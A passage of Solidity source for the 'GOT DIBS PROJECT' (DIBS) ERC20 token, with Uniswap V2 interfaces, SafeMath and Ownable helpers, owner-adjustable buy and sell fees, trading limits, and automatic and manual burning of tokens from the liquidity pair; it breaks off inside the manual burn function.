function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract GotDibsProject is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("GOT DIBS PROJECT", "DIBS") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 6;
uint256 _buyLiquidityFee = 3;
uint256 _buyDevFee = 1;
uint256 _sellMarketingFee = 14;
uint256 _sellLiquidityFee = 5;
uint256 _sellDevFee = 5;
uint256 totalSupply = 1 * 1e9 * 1e18;
maxTransactionAmount = totalSupply * 10 / 1000; // 1% maxTransactionAmountTxn
maxWallet = totalSupply * 20 / 1000; // 2% maxWallet
swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool){
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
